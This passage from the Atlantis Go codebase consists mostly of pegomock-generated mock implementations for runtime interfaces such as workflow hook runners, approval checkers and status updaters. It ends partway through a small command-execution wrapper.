[]models.TeamAllowlistCheckerContext, _param1 []string, _param2 []string, _param3 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.TeamAllowlistCheckerContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.TeamAllowlistCheckerContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } } return } ================================================ FILE: server/core/runtime/mocks/mock_post_workflows_hook_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PostWorkflowHookRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockPostWorkflowHookRunner struct { fail func(message string, callerSkip ...int) } func NewMockPostWorkflowHookRunner(options ...pegomock.Option) *MockPostWorkflowHookRunner { mock := &MockPostWorkflowHookRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPostWorkflowHookRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPostWorkflowHookRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPostWorkflowHookRunner().") } _params := []pegomock.Param{ctx, command, shell, shellArgs, path} _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 string var _ret2 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(string) } if _result[2] != nil { _ret2 = _result[2].(error) } } return _ret0, _ret1, _ret2 } func (mock *MockPostWorkflowHookRunner) VerifyWasCalledOnce() *VerifierMockPostWorkflowHookRunner { return &VerifierMockPostWorkflowHookRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPostWorkflowHookRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHookRunner { return &VerifierMockPostWorkflowHookRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPostWorkflowHookRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHookRunner { return &VerifierMockPostWorkflowHookRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPostWorkflowHookRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHookRunner { return &VerifierMockPostWorkflowHookRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPostWorkflowHookRunner struct { mock *MockPostWorkflowHookRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) *MockPostWorkflowHookRunner_Run_OngoingVerification { _params := []pegomock.Param{ctx, command, shell, shellArgs, path} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockPostWorkflowHookRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPostWorkflowHookRunner_Run_OngoingVerification struct { mock *MockPostWorkflowHookRunner methodInvocations []pegomock.MethodInvocation } func (c *MockPostWorkflowHookRunner_Run_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, string, string, string) { ctx, command, shell, shellArgs, path := c.GetAllCapturedArguments() return ctx[len(ctx)-1], command[len(command)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], path[len(path)-1] } func (c *MockPostWorkflowHookRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []string, _param3 []string, _param4 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.WorkflowHookCommandContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } } return } ================================================ FILE: server/core/runtime/mocks/mock_pre_workflows_hook_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PreWorkflowHookRunner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockPreWorkflowHookRunner struct { fail func(message string, callerSkip ...int) } func NewMockPreWorkflowHookRunner(options ...pegomock.Option) *MockPreWorkflowHookRunner { mock := &MockPreWorkflowHookRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPreWorkflowHookRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPreWorkflowHookRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPreWorkflowHookRunner().") } _params := []pegomock.Param{ctx, command, shell, shellArgs, path} _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 string var _ret2 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(string) } if _result[2] != nil { _ret2 = _result[2].(error) } } return _ret0, _ret1, _ret2 } func (mock *MockPreWorkflowHookRunner) VerifyWasCalledOnce() *VerifierMockPreWorkflowHookRunner { return &VerifierMockPreWorkflowHookRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPreWorkflowHookRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHookRunner { return &VerifierMockPreWorkflowHookRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPreWorkflowHookRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHookRunner { return &VerifierMockPreWorkflowHookRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPreWorkflowHookRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHookRunner { return &VerifierMockPreWorkflowHookRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPreWorkflowHookRunner struct { mock *MockPreWorkflowHookRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) *MockPreWorkflowHookRunner_Run_OngoingVerification { _params := []pegomock.Param{ctx, command, shell, shellArgs, path} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockPreWorkflowHookRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPreWorkflowHookRunner_Run_OngoingVerification struct { mock *MockPreWorkflowHookRunner methodInvocations []pegomock.MethodInvocation } func (c *MockPreWorkflowHookRunner_Run_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, string, string, string) { ctx, command, shell, shellArgs, path := c.GetAllCapturedArguments() return ctx[len(ctx)-1], command[len(command)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], path[len(path)-1] } func (c *MockPreWorkflowHookRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []string, _param3 []string, _param4 []string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(models.WorkflowHookCommandContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(string) } } } return } ================================================ FILE: server/core/runtime/mocks/mock_pull_approved_checker.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PullApprovedChecker) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" models "github.com/runatlantis/atlantis/server/events/models" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockPullApprovedChecker struct { fail func(message string, callerSkip ...int) } func NewMockPullApprovedChecker(options ...pegomock.Option) *MockPullApprovedChecker { mock := &MockPullApprovedChecker{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockPullApprovedChecker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockPullApprovedChecker) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockPullApprovedChecker) PullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockPullApprovedChecker().") } _params := []pegomock.Param{logger, baseRepo, pull} _result := pegomock.GetGenericMockFrom(mock).Invoke("PullIsApproved", _params, []reflect.Type{reflect.TypeOf((*models.ApprovalStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 models.ApprovalStatus var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(models.ApprovalStatus) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockPullApprovedChecker) VerifyWasCalledOnce() *VerifierMockPullApprovedChecker { return &VerifierMockPullApprovedChecker{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockPullApprovedChecker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullApprovedChecker { return &VerifierMockPullApprovedChecker{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockPullApprovedChecker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullApprovedChecker { return &VerifierMockPullApprovedChecker{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockPullApprovedChecker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullApprovedChecker { return &VerifierMockPullApprovedChecker{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockPullApprovedChecker struct { mock *MockPullApprovedChecker invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockPullApprovedChecker) PullIsApproved(logger logging.SimpleLogging, baseRepo models.Repo, pull models.PullRequest) *MockPullApprovedChecker_PullIsApproved_OngoingVerification { _params := []pegomock.Param{logger, baseRepo, pull} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsApproved", _params, verifier.timeout) return &MockPullApprovedChecker_PullIsApproved_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockPullApprovedChecker_PullIsApproved_OngoingVerification struct { mock *MockPullApprovedChecker methodInvocations []pegomock.MethodInvocation } func (c *MockPullApprovedChecker_PullIsApproved_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { logger, baseRepo, pull := c.GetAllCapturedArguments() return logger[len(logger)-1], baseRepo[len(baseRepo)-1], pull[len(pull)-1] } func (c *MockPullApprovedChecker_PullIsApproved_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]models.Repo, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(models.Repo) } } if len(_params) > 2 { _param2 = make([]models.PullRequest, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.PullRequest) } } } return } ================================================ FILE: server/core/runtime/mocks/mock_runner.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: Runner) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" "reflect" "time" ) type MockRunner struct { fail func(message string, callerSkip ...int) } func NewMockRunner(options ...pegomock.Option) *MockRunner { mock := &MockRunner{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockRunner) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockRunner().") } _params := []pegomock.Param{ctx, extraArgs, path, envs} _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockRunner) VerifyWasCalledOnce() *VerifierMockRunner { return &VerifierMockRunner{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockRunner { return &VerifierMockRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockRunner { return &VerifierMockRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockRunner { return &VerifierMockRunner{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockRunner struct { mock *MockRunner invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) *MockRunner_Run_OngoingVerification { _params := []pegomock.Param{ctx, extraArgs, path, envs} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockRunner_Run_OngoingVerification struct { mock *MockRunner methodInvocations []pegomock.MethodInvocation } func (c *MockRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, []string, string, map[string]string) { ctx, extraArgs, path, envs := c.GetAllCapturedArguments() return ctx[len(ctx)-1], extraArgs[len(extraArgs)-1], path[len(path)-1], envs[len(envs)-1] } func (c *MockRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 [][]string, _param2 []string, _param3 []map[string]string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([][]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.([]string) } } if len(_params) > 2 { _param2 = make([]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(string) } } if len(_params) > 3 { _param3 = make([]map[string]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(map[string]string) } } } return } ================================================ FILE: server/core/runtime/mocks/mock_status_updater.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: StatusUpdater) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" models "github.com/runatlantis/atlantis/server/events/models" "reflect" "time" ) type MockStatusUpdater struct { fail func(message string, callerSkip ...int) } func NewMockStatusUpdater(options ...pegomock.Option) *MockStatusUpdater { mock := &MockStatusUpdater{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockStatusUpdater) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) error { if mock == nil { panic("mock must not be nil. Use myMock := NewMockStatusUpdater().") } _params := []pegomock.Param{ctx, cmdName, status, url, res} _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateProject", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(error) } } return _ret0 } func (mock *MockStatusUpdater) VerifyWasCalledOnce() *VerifierMockStatusUpdater { return &VerifierMockStatusUpdater{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockStatusUpdater { return &VerifierMockStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockStatusUpdater { return &VerifierMockStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockStatusUpdater { return &VerifierMockStatusUpdater{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockStatusUpdater struct { mock *MockStatusUpdater invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockStatusUpdater) UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) *MockStatusUpdater_UpdateProject_OngoingVerification { _params := []pegomock.Param{ctx, cmdName, status, url, res} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateProject", _params, verifier.timeout) return &MockStatusUpdater_UpdateProject_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockStatusUpdater_UpdateProject_OngoingVerification struct { mock *MockStatusUpdater methodInvocations []pegomock.MethodInvocation } func (c *MockStatusUpdater_UpdateProject_OngoingVerification) GetCapturedArguments() (command.ProjectContext, command.Name, models.CommitStatus, string, *command.ProjectCommandOutput) { ctx, cmdName, status, url, res := c.GetAllCapturedArguments() return ctx[len(ctx)-1], cmdName[len(cmdName)-1], status[len(status)-1], url[len(url)-1], res[len(res)-1] } func (c *MockStatusUpdater_UpdateProject_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []command.Name, _param2 []models.CommitStatus, _param3 []string, _param4 []*command.ProjectCommandOutput) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]command.Name, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(command.Name) } } if len(_params) > 2 { _param2 = make([]models.CommitStatus, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(models.CommitStatus) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([]*command.ProjectCommandOutput, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.(*command.ProjectCommandOutput) } } } return } ================================================ FILE: server/core/runtime/mocks/mock_versionedexecutorworkflow.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: VersionedExecutorWorkflow) package mocks import ( go_version "github.com/hashicorp/go-version" pegomock "github.com/petergtz/pegomock/v4" command "github.com/runatlantis/atlantis/server/events/command" logging "github.com/runatlantis/atlantis/server/logging" "reflect" "time" ) type MockVersionedExecutorWorkflow struct { fail func(message string, callerSkip ...int) } func NewMockVersionedExecutorWorkflow(options ...pegomock.Option) *MockVersionedExecutorWorkflow { mock := &MockVersionedExecutorWorkflow{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockVersionedExecutorWorkflow) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockVersionedExecutorWorkflow) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockVersionedExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *go_version.Version) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockVersionedExecutorWorkflow().") } _params := []pegomock.Param{log, v} _result := pegomock.GetGenericMockFrom(mock).Invoke("EnsureExecutorVersion", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockVersionedExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockVersionedExecutorWorkflow().") } _params := []pegomock.Param{ctx, executablePath, envs, workdir, extraArgs} _result := pegomock.GetGenericMockFrom(mock).Invoke("Run", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockVersionedExecutorWorkflow) VerifyWasCalledOnce() *VerifierMockVersionedExecutorWorkflow { return &VerifierMockVersionedExecutorWorkflow{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockVersionedExecutorWorkflow) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockVersionedExecutorWorkflow { return &VerifierMockVersionedExecutorWorkflow{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockVersionedExecutorWorkflow) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockVersionedExecutorWorkflow { return &VerifierMockVersionedExecutorWorkflow{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockVersionedExecutorWorkflow) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockVersionedExecutorWorkflow { return &VerifierMockVersionedExecutorWorkflow{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockVersionedExecutorWorkflow struct { mock *MockVersionedExecutorWorkflow invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockVersionedExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *go_version.Version) *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification { _params := []pegomock.Param{log, v} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "EnsureExecutorVersion", _params, verifier.timeout) return &MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification struct { mock *MockVersionedExecutorWorkflow methodInvocations []pegomock.MethodInvocation } func (c *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, *go_version.Version) { log, v := c.GetAllCapturedArguments() return log[len(log)-1], v[len(v)-1] } func (c *MockVersionedExecutorWorkflow_EnsureExecutorVersion_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []*go_version.Version) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(logging.SimpleLogging) } } if len(_params) > 1 { _param1 = make([]*go_version.Version, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(*go_version.Version) } } } return } func (verifier *VerifierMockVersionedExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) *MockVersionedExecutorWorkflow_Run_OngoingVerification { _params := []pegomock.Param{ctx, executablePath, envs, workdir, extraArgs} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Run", _params, verifier.timeout) return &MockVersionedExecutorWorkflow_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockVersionedExecutorWorkflow_Run_OngoingVerification struct { mock *MockVersionedExecutorWorkflow methodInvocations []pegomock.MethodInvocation } func (c *MockVersionedExecutorWorkflow_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, map[string]string, string, []string) { ctx, executablePath, envs, workdir, extraArgs := c.GetAllCapturedArguments() return ctx[len(ctx)-1], executablePath[len(executablePath)-1], envs[len(envs)-1], workdir[len(workdir)-1], extraArgs[len(extraArgs)-1] } func (c *MockVersionedExecutorWorkflow_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 []map[string]string, _param3 []string, _param4 [][]string) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]command.ProjectContext, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(command.ProjectContext) } } if len(_params) > 1 { _param1 = make([]string, len(c.methodInvocations)) for u, param := range _params[1] { _param1[u] = param.(string) } } if len(_params) > 2 { _param2 = make([]map[string]string, len(c.methodInvocations)) for u, param := range _params[2] { _param2[u] = param.(map[string]string) } } if len(_params) > 3 { _param3 = make([]string, len(c.methodInvocations)) for u, param := range _params[3] { _param3[u] = param.(string) } } if len(_params) > 4 { _param4 = make([][]string, len(c.methodInvocations)) for u, param := range _params[4] { _param4[u] = param.([]string) } } } return } ================================================ FILE: server/core/runtime/models/exec.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package models import ( "fmt" "os" "os/exec" "strings" ) //go:generate pegomock generate --package mocks -o mocks/mock_exec.go Exec type Exec interface { LookPath(file string) (string, error) CombinedOutput(args []string, envs map[string]string, workdir string) (string, error) } type LocalExec struct{} func (e LocalExec) LookPath(file string) (string, error) { return exec.LookPath(file) } // CombinedOutput encapsulates creating a command and running it. We should think about // how to flexibly add parameters here as this is meant to satisfy very simple usecases // for more complex usecases we can add a Command function to this method which will // allow us to edit a Cmd directly. func (e LocalExec) CombinedOutput(args []string, envs map[string]string, workdir string) (string, error) { formattedArgs := strings.Join(args, " ") envVars := []string{} for key, val := range envs { envVars = append(envVars, 